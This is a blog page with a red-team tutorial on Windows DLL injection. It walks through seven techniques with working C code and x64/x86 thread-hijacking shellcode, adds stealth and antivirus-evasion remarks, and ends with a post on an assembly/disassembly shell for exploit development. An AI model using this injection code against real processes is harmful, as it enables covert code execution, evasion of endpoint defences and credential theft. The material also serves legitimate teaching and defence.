Shut Up and Hack

I like reading more than writing, and, in fact, I don't write too much.

Inject All the Things

Well, its 2017 and I’m writing about DLL injection. It could be worse. DLL injection is a technique used by legitimate software to add/extend functionality to other programs, debugging, or reverse engineering. It is also commonly used by malware in a multitude of ways. This means that from a security perspective, it’s imperative to know how DLL injection works.

I wrote most of the code of this small project, called ‘injectAllTheThings’, a while ago when I started developing custom tools for Red Team engagements (in order to emulate different types of threat actors). If you want to see some examples of threat actors using DLL injection have a look here. You may also find this project useful if you want to learn about DLL injection. The internet is full of crap when you look for this kind of information/code, and my code might not be better. I’m not a programmer, I just hack code when I need to. Anyway, I’ve put together in a single Visual Studio project multiple DLL injection techniques (actually 7 different techniques) that work both for 32 and 64 bits, in a very easy way to read and understand. Some friends showed interested in the code, so it might interest you too. Every technique has its own source file to keep things simple.

Below is the output of the tool, showing all the options and techniques implemented.

According to @SubTee, DLL injection is lame. I tend to agree, however DLL injection goes way beyond simply loading a DLL.

You can load DLLs with signed Microsoft binaries indeed, but you won’t attach to a certain process to mess with its memory. The reason why most of the Penetration Testers don’t actually know what DLL injection is, or how it works, is because Metasploit has spoiled them too much. They use it all the time, blindly. The best place to learn about this ‘weird’ memory manipulation stuff is actually game hacking forums, I believe. If you are into Red Teaming you might have to get ‘dirty’ and play with this stuff too. Unless you are happy to just run some random tools other people have written.

Most of times we start a Red Team exercise using highly sophisticated techniques, and if we stay undetected we start lowering the level of sophistication. That’s basically when we start dropping binaries on disk and playing with DLL injection.

This post attempts to give an overview of DLL injection in a very simple and high level way, and at the same time serves as “documentation” support for the project hosted at GitHub.

Introduction

DLL injection is basically the process of inserting/injecting code into a running process. The code we inject is in the form of a dynamic linked library (DLL). Why? DLLs are meant to be loaded as needed at run time (like shared libs in UNIX). In this project I’ll be using DLLs only, however we actually can ‘inject’ code in many other forms (any PE file, shellcode/assembly, etc. as commonly seen in malware).

Also, keep in mind that you need to have an appropriate level of privileges to start playing with other processes’s memory. However, I won’t be talking about protected processes and Windows privilege levels (introduced with Vista). That’s a completely different subject.

Again, as I said above DLL injection can be used for legitimate purposes. For example, antivirus and endpoint security solutions use these techniques to place their own software code/hooks into “all” running processes on the system. This enables them to monitor each process while it’s running, and better protect us. There are also malicious purposes. A common technique often used was injecting into the ‘lsass’ process to obtain password hashes. We all have done that. Period. Obviously, malware also uses code injection techniques extensively. Either to run shellcode, run PE files, or load DLLs into the memory of another process to hide itself, among others.

The Basics

We’ll be using the MS Windows API for every technique, since it offers a considerable number of functions that allow us to attach and manipulate other processes. DLLs have been the cornerstone of MS Windows since the first version of the operating system. In fact, all the functions in the MS Windows API are contained DLLs. Some of the most important are ‘Kernel32.dll’ (which contains functions for managing memory, processes, and threads), ‘User32.dll’ (mostly user-interface functions), and ‘GDI32.dll’ (functions for drawing graphics and text display).

You might be wondering why such APIs exist, why would Microsoft give us such a nice set of functions to play and mess with other processes memory? The main reason is to extend the features of an application. For example, a company creates an application and wants to allow other companies to extend or enhance the application. So yes, it has a legitimate usage purpose. Besides, DLLs are useful for project management, conserve memory, resource sharing, and so on.

The diagram below tries to illustrate the process flow of almost every DLL injection technique.

As you can see above, I would say DLL injection happens in four steps:

1
2
3
4
Attach to the target/remote process
Allocate memory within the target/remote process
Copy the DLL Path, or the DLL, into the target/remote process memory
Instruct the process to execute the DLL

All these steps are accomplished by calling a certain set of API functions. Each technique will require a certain setup and options to be set. I would say that each technique has their positives and negatives.

Techniques

We have multiple options to instruct a process to execute our DLL. The most common ones are maybe ‘CreateRemoteThread()’ and ‘NtCreateThreadEx()’. However, it’s not possible to just pass a DLL as parameter to these functions. We have to provide a memory address that holds the execution starting point. For that, we need to perform memory allocation, load our DLL with ‘LoadLibrary()’, copy memory, and so on.

The project I called ‘injectAllTheThings’ (because I just hate the name ‘injector’, plus there are already too many crappy ‘injectors’ on GitHub, and I couldn’t think of anything else), includes 7 different techniques. I’m not the original author of any of the techniques. I just compiled, and cleaned, these seven techniques (yes, there are more). Some are well documented (like ‘CreateRemoteThread()’), others use undocumented APIs (like ‘NtCreateThreadEx()’). Here’s a complete list of the techniques implemented, all working for both 32 and 64 bits.

  • CreateRemoteThread()
  • NtCreateThreadEx()
  • QueueUserAPC
  • SetWindowsHookEx()
  • RtlCreateUserThread()
  • Code cave via SetThreadContext()
  • Reflective DLL

You might know some of these techniques by other names. This isn’t a complete list of every DLL injection technique around. As I said, there are more, I might add them later if I have to play with them for a certain project. Until now this the list of techniques I used in some projects. Some are stable, some aren’t. Maybe the unstable ones are because of my own code, you have been warned.

LoadLibrary()

As stated on MSDN, the ‘LoadLibrary()’ function “loads the specified module into the address space of the calling process. The specified module may cause other modules to be loaded”.

1
2
3
HMODULE WINAPI LoadLibrary(
  _In_ LPCTSTR lpFileName
);
1
2
3
4
5
6
7
8
9
10
11
lpFileName [in]

    The name of the module. This can be either a library module (a .dll file) or an executable module (an .exe file). (...)

    If the string specifies a full path, the function searches only that path for the module.

    If the string specifies a relative path or a module name without a path, the function uses a standard search strategy to find the module (...)

    If the function cannot find the module, the function fails. When specifying a path, be sure to use backslashes (\), not forward slashes (/). (...)

    If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. (...)

In other words, it takes a filename as its only parameter and everything works. That is, we only need to allocate some memory for the path of our DLL and set our execution starting point to the address of ‘LoadLibrary()’ function, passing the memory address of the path as a parameter.

As you may, or may not know, the big issue here is that ‘LoadLibrary()’ registers the loaded DLL with the program. Meaning it can be easily detected, but you might be surprised that many endpoint security solutions still fail at this. Anyway, as I said before, DLL injection has legitimate usage cases too, so… Also, note that if a DLL has already been loaded with ‘LoadLibrary()’, it will not be executed again. You might work around this, but I didn’t do it for any of the techniques. With the Reflective DLL injection you don’t have this problem of course, because the DLL is not registered. The Reflective DLL injection technique instead of using ‘LoadLibrary()’, loads the entire DLL into memory. Then determines the offset to the DLL’s entry point to load it. Call it more stealthy if you want. Forensics guys will still be able to find your DLL in memory, but it won’t be that easy. Metasploit uses this massively, still most of endpoint solutions are happy with all this anyway. If you feel like hunting for this kind of stuff, or you are in the ‘blue’ side of the game, have a look here and here.

As a side note, if you are really struggling with your endpoint security software being fine with all this… you might want to try to use some gaming anti-cheating engine instead (note, I’m only trying to be funny in case you didn’t get it). The anti-rootkit capabilities of some anti-cheating games is way more advanced than some AVs. There’s a really cool interview with Nick Cano, author of the “Game Hacking” book, on reddit that you must read. Just check what he has been doing and you’ll understand what I’m talking about.

Attach to the target/remote process

For a start, we need a handle to the process we want to interact with. For this we use the ‘OpenProcess()’ API call.

1
2
3
4
5
HANDLE WINAPI OpenProcess(
  _In_ DWORD dwDesiredAccess,
  _In_ BOOL  bInheritHandle,
  _In_ DWORD dwProcessId
);

If you read the documentation on MSDN you’ll see that we need to request a certain set of access rights. A complete list of access rights can be found here.

These might vary across MS Windows versions. The following is used across almost every technique.

1
2
3
4
5
6
HANDLE hProcess = OpenProcess(
    PROCESS_QUERY_INFORMATION |
    PROCESS_CREATE_THREAD |
    PROCESS_VM_OPERATION |
    PROCESS_VM_WRITE,
    FALSE, dwProcessId);

Allocate memory within the target/remote process

In order to allocate memory for the DLL path we use ‘VirtualAllocEx()’. As stated in MSDN, ‘VirtualAllocEx()’ “reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.”

1
2
3
4
5
6
7
LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);

Basically, we’ll do something like this:

1
2
3
4
5
// calculate the number of bytes needed for the DLL's pathname
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);

// allocate space in the target/remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

Or you could be a bit smarter and use the ‘GetFullPathName()’ API call. However, I don’t use this API call on the whole project. Just a matter of preference, or not being smart.

If you want to allocate space for the full DLL, you’ll have to do something like:

1
2
3
4
5
hFile = CreateFileW(pszLibFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

dwSize, = GetFileSize(hFile, NULL);

PVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

Copy the DLL Path, or the DLL, into the target/remote process' memory

Now it’s just a matter of copying our DLL Path, or the full DLL, into the target/remote process by using the ‘WriteProcessMemory()’ API call.

1
2
3
4
5
6
7
BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

That is something like…

1
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

If we want to copy the full DLL, like in the Reflective DLL injection technique, there’s a bit more code, as we need to read it into memory before we copy it into the target/remote process.

1
2
3
4
5
lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);

ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL);

WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

As I mentioned before, by using the Reflective DLL injection technique, and copying the DLL into memory, the DLL won’t be registered with the process.

It gets a bit complex because we need to obtain the entry point to the DLL when it is loaded in memory. The ‘LoadRemoteLibraryR()’ function, which is part of the Reflective DLL project, does it for us. Have a look at the source if you want.

One thing to notice is that the DLL we’ll be injecting needs to be compiled with the appropriate includes and options so it aligns itself with the ReflectiveDLLInjection method. The ‘injectAllTheThings’ project includes a DLL called ‘rdll_32.dll/rdll_64.dll’ that you can use to play with.

Instruct the process to execute the DLL

CreateRemoteThread()

We can say that ‘CreateRemoteThread()’ is the classic and most popular DLL Injection technique around. Also, the most well documented one.

It consists of the steps below:

1
2
3
4
5
Open the target process with OpenProcess()
Find the address of LoadLibrary() by using GetProcAddress()
Reserve memory for the DLL path in the target/remote process address space by using VirtualAllocEx()
Write the DLL path into the previously reserved memory space with WriteProcessMemory()
Use CreateRemoteThread() to create a new thread, which will call the LoadLibrary() function with the DLL path name as parameter

If you look at ‘CreateRemoteThread()’ documentation on MSDN, we can see that we need a “pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process.”

Which means that to execute our DLL we only need to instruct our process to do it. Simple.

See below all the basic steps listed above.

1
2
3
4
5
6
7
8
9
10
11
12
13
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);

// Allocate space in the remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

// Copy the DLL's pathname to the remote process address space
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

// Get the real address of LoadLibraryW in Kernel32.dll
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

// Create a remote thread that calls LoadLibraryW(DLLPathname)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);

For the complete source code see ’t_CreateRemoteThread.cpp'.

NtCreateThreadEx()

Another option is to use ‘NtCreateThreadEx()’. This is an undocumented ‘ntdll.dll’ function and it might disappear or change in the future. This technique is a bit more complex to implement as we need a structure (see below) to pass to it and another to receive data from it.

1
2
3
4
5
6
7
8
9
10
11
struct NtCreateThreadExBuffer {
  ULONG Size;
  ULONG Unknown1;
  ULONG Unknown2;
  PULONG Unknown3;
  ULONG Unknown4;
  ULONG Unknown5;
  ULONG Unknown6;
  PULONG Unknown7;
  ULONG Unknown8;
};

There’s a good explanation about this call here. The setup is very close to what we do for ‘CreateRemoteThread()’. However, instead of calling ‘CreateRemoteThread()’ we do something along the lines.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;

NTSTATUS status = funNtCreateThreadEx(
  &hRemoteThread,
  0x1FFFFF,
  NULL,
  hProcess,
  pfnThreadRtn,
  (LPVOID)pszLibFileRemote,
  FALSE,
  NULL,
  NULL,
  NULL,
  NULL
  );

For the complete source code see ’t_NtCreateThreadEx.cpp'.

QueueUserAPC()

An alternative to the previous techniques, that doesn’t create a new thread in the target/remote process, is the ‘QueueUserAPC()’ call.

As documented on MSDN, this call “adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread.”

Here’s the definition.

1
2
3
4
5
DWORD WINAPI QueueUserAPC(
  _In_ PAPCFUNC  pfnAPC,
  _In_ HANDLE    hThread,
  _In_ ULONG_PTR dwData
);
1
2
3
4
5
6
7
8
9
pfnAPC [in]

    A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation. (...)
hThread [in]

    A handle to the thread. The handle must have the THREAD_SET_CONTEXT access right. (...)
dwData [in]

    A single value that is passed to the APC function pointed to by the pfnAPC parameter.

So, if we don’t want to create our own thread, we can use ‘QueueUserAPC()’ to “hijack” an existing thread in the target/remote process. That is, calling this function will queue an asynchronous procedure call on the specified thread.

We can use a real APC callback function instead of ‘LoadLibrary()’. The parameter can actually be a pointer to the filename of the DLL we want to inject.

1
DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);

There’s a little gotcha that you might notice if you try this technique, which is related to the way MS Windows executes APC’s. There’s no scheduler looking at the APC queue, meaning the queue is only examined when the thread becomes alertable.

Because of this we basically hijack every single thread, see below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  BOOL bResult = Thread32First(hSnapshot, &threadEntry);
  while (bResult)
  {
    bResult = Thread32Next(hSnapshot, &threadEntry);
    if (bResult)
    {
      if (threadEntry.th32OwnerProcessID == dwProcessId)
      {
        threadId = threadEntry.th32ThreadID;

        wprintf(TEXT("[+] Using thread: %i\n"), threadId);
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
        if (hThread == NULL)
          wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...\n"));
        else
        {
          DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);
          if (!dwResult)
            wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...\n"));
          else
            wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n"));
          CloseHandle(hThread);
        }
      }
    }
  }

We basically do this expecting one thread to become alertable.

As a side note, it was nice to see this technique being used by DOUBLEPULSAR.

For the complete source code see ’t_QueueUserAPC.cpp'.

SetWindowsHookEx()

In order to use this technique the first thing we need to understand is how MS Windows hooks work. Basically, hooks are a way to intercept events and act on them.

As you may guess, there are many different types of hooks. The most common ones might be WH_KEYBOARD and WH_MOUSE. You guessed right, these can be used to monitor, the keyboard and mouse input.

The ‘SetWindowsHookEx()’ “installs an application-defined hook procedure into a hook chain.”

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
idHook [in]

    Type: int
    The type of hook procedure to be installed. (...)

lpfn [in]

    Type: HOOKPROC
    A pointer to the hook procedure. (...)
hMod [in]

    Type: HINSTANCE
    A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. (...)
dwThreadId [in]

    Type: DWORD

    The identifier of the thread with which the hook procedure is to be associated. (...)

An interesting remark on MSDN states that:

“SetWindowsHookEx can be used to inject a DLL into another process. A 32-bit DLL cannot be injected into a 64-bit process, and a 64-bit DLL cannot be injected into a 32-bit process. If an application requires the use of hooks in other processes, it is required that a 32-bit application call SetWindowsHookEx to inject a 32-bit DLL into 32-bit processes, and a 64-bit application call SetWindowsHookEx to inject a 64-bit DLL into 64-bit processes. The 32-bit and 64-bit DLLs must have different names.”

Keep this in mind.

Here’s a simple extract of the implementation.

1
2
3
GetWindowThreadProcessId(targetWnd, &dwProcessId);

HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);

We need to understand that every event that occurs will go through a hook chain, which is a series of procedures that will run on the event. The setup of ‘SetWindowsHookExe()’ is basically how we put our own hook procedure into the hook chain.

The code above takes the type of hook to be installed (WH_KEYBOARD), the pointer to the procedure, the handle to the DLL with the procedure, and the thread id to associate the hook to.

In order to get the pointer to the procedure we need to first load the DLL using the ‘LoadLibrary()’ call. Then we call ‘SetWindowsHookEx()’ and wait for the event that we want (in our case pressing a key). Once that event happens our DLL is executed.

Note that even the CIA guys are, potentially, having some fun with ‘SetWindowsHookEx()’ as we can see on Wikileaks.

For the complete source code see ’t_SetWindowsHookEx.cpp'.

RtlCreateUserThread()

The ‘RtlCreateUserThread()’ is an undocumented API call. Its setup is, almost, the same as ‘CreateRemoteThread()’, and subsequently as ‘NtCreateThreadEx()’.

Actually, ‘RtlCreateUserThread()’ calls ‘NtCreateThreadEx()’, which means ‘RtlCreateUserThread()’ is a small wrapper for ‘NtCreateThreadEx()’. So, nothing new here. However, we might want to just use ‘RtlCreateUserThread()’ instead of ‘NtCreateThreadEx()’. Even if the later changes, our ‘RtlCreateUserThread()’ should still work.

As you might know, among others, mimikatz and Metasploit both use ‘RtlCreateUserThread()’. If you are curious, have a look here and here.

So, if mimikatz and Metasploit are using ‘RtlCreateUserThread()’… and yes, those guys know their stuff… follow their “advice”, use ‘RtlCreateUserThread()’. Especially if you are planning to do something more serious than a simple ‘injectAllTheThings’ program.

For the complete source code see ’t_RtlCreateUserThread.cpp'.

SetThreadContext()

This is actually a very cool method. A specially crafted code is injected into the target/remote process by allocating a chunk of memory in the target/remote process. This code is responsible for loading the DLL.

Here’s the code for 32 bits.

1
2
3
4
5
6
7
8
9
0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (placeholder for return address)
0x9c,                           // pushfd (save flags and registers)
0x60,                           // pushad
0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (placeholder for DLL path name)
0xb8, 0xCC, 0xCC, 0xCC, 0xCC,   // mov eax, 0xDEADBEEF (placeholder for LoadLibrary)
0xff, 0xd0,                     // call eax (call LoadLibrary)
0x61,                           // popad (restore flags and registers)
0x9d,                           // popfd
0xc3                            // ret

For 64 bits I couldn’t actually find any assembly working code and I kinda wrote my own. See below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0x50,                                                       // push rax (save rax)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for return address)
0x9c,                                                       // pushfq
0x51,                                                       // push rcx
0x52,                                                       // push rdx
0x53,                                                       // push rbx
0x55,                                                       // push rbp
0x56,                                                       // push rsi
0x57,                                                       // push rdi
0x41, 0x50,                                                 // push r8
0x41, 0x51,                                                 // push r9
0x41, 0x52,                                                 // push r10
0x41, 0x53,                                                 // push r11
0x41, 0x54,                                                 // push r12
0x41, 0x55,                                                 // push r13
0x41, 0x56,                                                 // push r14
0x41, 0x57,                                                 // push r15
0x68,0xef,0xbe,0xad,0xde,                                   // fastcall convention
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (placeholder for DLL path name)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for LoadLibrary)
0xFF, 0xD0,                                                 // call rax (call LoadLibrary)
0x58,                                                       // pop dummy
0x41, 0x5F,                                                 // pop r15
0x41, 0x5E,                                                 // pop r14
0x41, 0x5D,                                                 // pop r13
0x41, 0x5C,                                                 // pop r12
0x41, 0x5B,                                                 // pop r11
0x41, 0x5A,                                                 // pop r10
0x41, 0x59,                                                 // pop r9
0x41, 0x58,                                                 // pop r8
0x5F,                                                       // pop rdi
0x5E,                                                       // pop rsi
0x5D,                                                       // pop rbp
0x5B,                                                       // pop rbx
0x5A,                                                       // pop rdx
0x59,                                                       // pop rcx
0x9D,                                                       // popfq
0x58,                                                       // pop rax
0xC3                                                        // ret

Before we inject this code into the target process some placeholders need to be filled/patched with:

  • Return address (address where the thread should resume once the code stub has finished execution)
  • The DLL path name
  • Address of LoadLibrary()

And that’s when the game of hijacking, suspending, injecting, and resuming a thread comes into play.

We need first to attach to the target/remote process, of course, and allocate memory into the target/remote process. Note that we need to allocate memory with read and write privileges to hold the DLL path name and to hold our assembly code that will load the DLL.

1
2
3
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Next, we need to get the context of one of the threads running on the target/remote process (the one that is going to be injected with our assembly code).

To find the thread, we use the function ‘getThreadID()’, you can find it on the file ‘auxiliary.cpp’.

Once we have our thread id, we need to set the thread context.

1
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);

Next, we need to suspend the thread to capture its context. The context of a thread is the state of its registers. We are particularly interested in EIP/RIP (call it IP - instruction pointer, if you want).

Since the thread is suspended, we can change the EIP/RIP value and force it to continue its execution in a different path (our code cave).

1
2
3
4
5
6
7
8
9
10
11
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
DWORD64 oldIP = ctx.Rip;

ctx.Rip = (DWORD64)stub;
ctx.ContextFlags = CONTEXT_CONTROL;

WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL); // write code cave

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

So, we suspend the thread, we capture the context, and from there we extract the EIP/RIP. This is saved to resume the execution when our injected code finishes. The new EIP/RIP is set as our injected code location.

We then patch all the placeholders with the return address, the DLL path name address, and the ‘LoadLibrary()’ address.

Once the thread starts executing, our DLL will be loaded and once it finishes it will return back to the point it was suspended at and resume its execution there.

If you feel like debugging this technique as a learning exercise, here’s how to do it. Launch the application you want to inject into, let’s say ‘notepad.exe’. Run ‘injectAllTheThings_64.exe’ with ‘x64dbg’ as shown below.

That is, using the following command line (adapt to your environment):

1
"C:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\injectAllTheThings_64.exe" -t 6 notepad.exe "c:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\dllmain_64.dll"

Set a breakpoint on the call to ‘WriteProcessMemory()’ as shown below.

Let it run and when the breakpoint is hit take note of the memory address at the register RDX. If you are asking yourself why RDX is time to read about the calling convention used in x64. Have fun and come back once you finish.

Step over (F8) the call to ‘WriteProcessMemory()’, launch another instance of x64dbg and attach to ‘notepad.exe’. Go to the address copied before (the one at RDX) by pressing ‘Ctrl + g’ and you will see our code cave assembly as shown below.

Cool, huh!? Now set a breakpoint at the beginning of this shellcode. Go to the ‘injectAllTheThings’ debugged process and let it run. As you can see below our breakpoint is hit and we can now step over the code for fun and enjoy this piece of code working.

Once we call the ‘LoadLibrary()’ function, we get our DLL loaded.

This is so beautiful…

Our shellcode will return to the previously saved RIP and ‘notepad.exe’ will resume execution.

For the complete source code see ’t_suspendInjectResume.cpp'.

Reflective DLL injection

I also incorporated Stephen Fewer’s (pioneer of this technique) code into this ‘injectAllTheThings’ project, and I also built a reflective DLL to be used with this technique. Note that the DLL we’re injecting must be compiled with the appropriate includes and options, so it aligns itself with the Reflective DLL injection method.

Reflective DLL injection works by copying the entire DLL into memory, so it avoids registering the DLL with the process. All the heavy lifting is already done for us. To obtain the entry point to our DLL when it’s loaded in memory we only have to use Stephen Fewer’s code. The ‘LoadRemoteLibraryR()’ function included within his project does it for us. We use the ‘GetReflectiveLoaderOffset()’ to determine the offset in our processes memory, then we use that offset plus the base address of the memory in the target/remote process (where we wrote the DLL) as the execution starting point.

Too complex? Yes, it might be. Here are the main 4 steps to achieve this.

1
2
3
4
Write the DLL headers into memory
Write each section into memory (by parsing the section table)
Check imports and load any other imported DLLs
Call the DllMain entry-point

This technique offers a great level of stealth in comparison to the other methods, and is massively used in Metasploit.

If you want to know more just go to the official GitHub repository. Also, make sure to read Stephen Fewer’s paper about it here.

Also, have a look at Loading a DLL from memory from Joachim Bauch, author of MemoryModule and this nice post about Loading Win32/64 DLLs “manually” without LoadLibrary().

Code

There are some more obscure and complex injection methods around. So I’ll eventually update the ‘injectAllTheThings’ project in the future. Some of the most interesting ones I’ve seen lately are:

  • The one used by DOUBLEPULSAR
  • The one written by @zerosum0x0, Reflective DLL injection using SetThreadContext() and NtContinue() described here and code available here.

All of the techniques I described above are implemented in one single project I made available at GitHub. It also includes the required DLLs for each of the techniques. The table below makes it easy to understand what’s actually implemented and how to use it.

Method 32 bits 64 bits DLL to use
CreateRemoteThread() + + dllmain_32.dll / dllmain_64.dll
NtCreateThreadEx() + + dllmain_32.dll / dllmain_64.dll
QueueUserAPC() + + dllmain_32.dll / dllmain_64.dll
SetWindowsHookEx() + + dllpoc_32.dll / dllpoc_64.dll
RtlCreateUserThread() + + dllmain_32.dll / dllmain_64.dll
SetThreadContext() + + dllmain_32.dll / dllmain_64.dll
Reflective DLL + + rdll_32.dll / rdll_64.dll

Needless to say, to be on the safe side, always use injectAllTheThings_32.exe to inject into 32 bits processes or injectAllTheThings_64.exe to inject into 64 bits processes. Although, you can also use injectAllTheThings_64.exe to inject into 32 bits processes. And actually, I didn’t implement it, but I might have to give it a try later, you can go from WoW64 to 64 bits. Which is basically what Metasploit ‘smart_migrate’ does. Have a look here.

The code for the whole project, including DLLs is available at GitHub. Compile for 32 and 64 bits, with or without debugging and have fun.

References

Kcshell: Assembly/disassembly Shell

I was a bit bored of switching between metasm_shell and nasm_shell every time I had to play with assembly instructions and opcodes during exploit development or reversing code. Also, switching between x86 and x64 wasn’t possible. Since I was already playing with the triforce Keystone, Capstone and Unicorn Python bindings, in a different project, I decided to write a small interactive assembly/disassembly shell for various architectures powered by Keystone/Capstone.

It’s extremely easy to use, and install. To install just type:

1
pip3 install kcshell

You may be wondering, pip3? Yes, I wrote it in Python3 and I really didn’t care about Python2. Why? Well, Python2 will be unsuported in more or less 3 years, so I decided to use Python3.

Usage

By default kcshell starts in ‘assembler’ mode (x86 32 bits). You can change modes with ‘setmode’.

1
2
3
4
5
6
7
8
$ kcshell
-=[ kcshell 0.0.1 ]=-
Default Assembler architecture is x86 (32 bits)
asm> lsmodes
disasm, asm
asm> setmode disasm
Default Disassembler architecture is x86 (32 bits)
disasm>

You can also change the default architecture for both the ‘assembler’ and ‘disassembler’ with ‘setarch’.

1
2
3
4
5
disasm> lsarchs
x86, mips32, arm_t, x64, arm, x16, arm64, mips64
disasm> setarch x64
Disassembler architecture is now x64
disasm>

To assemble instructions just type the instructions in the command line.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
asm> jmp esp
"\xff\xe4"
asm> xor eax, eax
"\x31\xc0"
asm> jmp -500
"\xe9\x07\xfe\xff\xff"
asm> add esp,-1500
"\x81\xc4\x24\xfa\xff\xff"
asm> xor ecx,ecx ; mov ch, 0xc8 ; mov esi, edi ; mov edi, esp ; rep movsb
"\x31\xc9\xb5\xc8\x89\xfe\x89\xe7\xf3\xa4"
asm> setarch x64
Assembler architecture is now x64
asm> inc rax
"\x48\xff\xc0"
asm>

To go from opcodes to instructions just type them in the command line.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
disasm> \xff\xe4
0x00400000:     jmp     esp
disasm> \x31\xc0
0x00400000:     xor     eax, eax
disasm> \x31\xc9\xb5\xc8\x89\xfe\x89\xe7\xf3\xa4
0x00400000:     xor     ecx, ecx
0x00400002:     mov     ch, 0xc8
0x00400004:     mov     esi, edi
0x00400006:     mov     edi, esp
0x00400008:     rep movsb       byte ptr es:[edi], byte ptr [esi]
disasm> setarch x64
Disassembler architecture is now x64
disasm> \x48\xff\xc0
0x00400000:     inc     rax
disasm>

For help just use ‘?’ or ‘help ’.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
asm> ?

Documented commands (type help <topic>):
========================================
EOF  exit  help  lsarchs  lsmodes  quit  setarch  setmode

asm> help lsmodes
Lists current operational modes available.
asm> help lsarchs
List supported Assembler architectures.
asm> help setarch
Set Assembler architecture. To list available options type 'lsarchs'.
asm> help setmode
Sets 'kcshell' operational mode. For available options run 'lsmodes'.
asm> lsarchs
systemz, hexagon, arm, arm64, ppc32, mips32, sparc, x64, x16, sparc64, arm_t, x86, mips64, ppc64

To list all the supported architectures just go to the desired mode and use ‘lsarchs’.

1
2
3
4
5
6
7
8
9
asm> lsarchs
mips64, sparc64, sparc, arm_t, x64, x16, arm64, hexagon, systemz, mips32, ppc64, x86, arm, ppc32
asm> lsmodes
asm, disasm
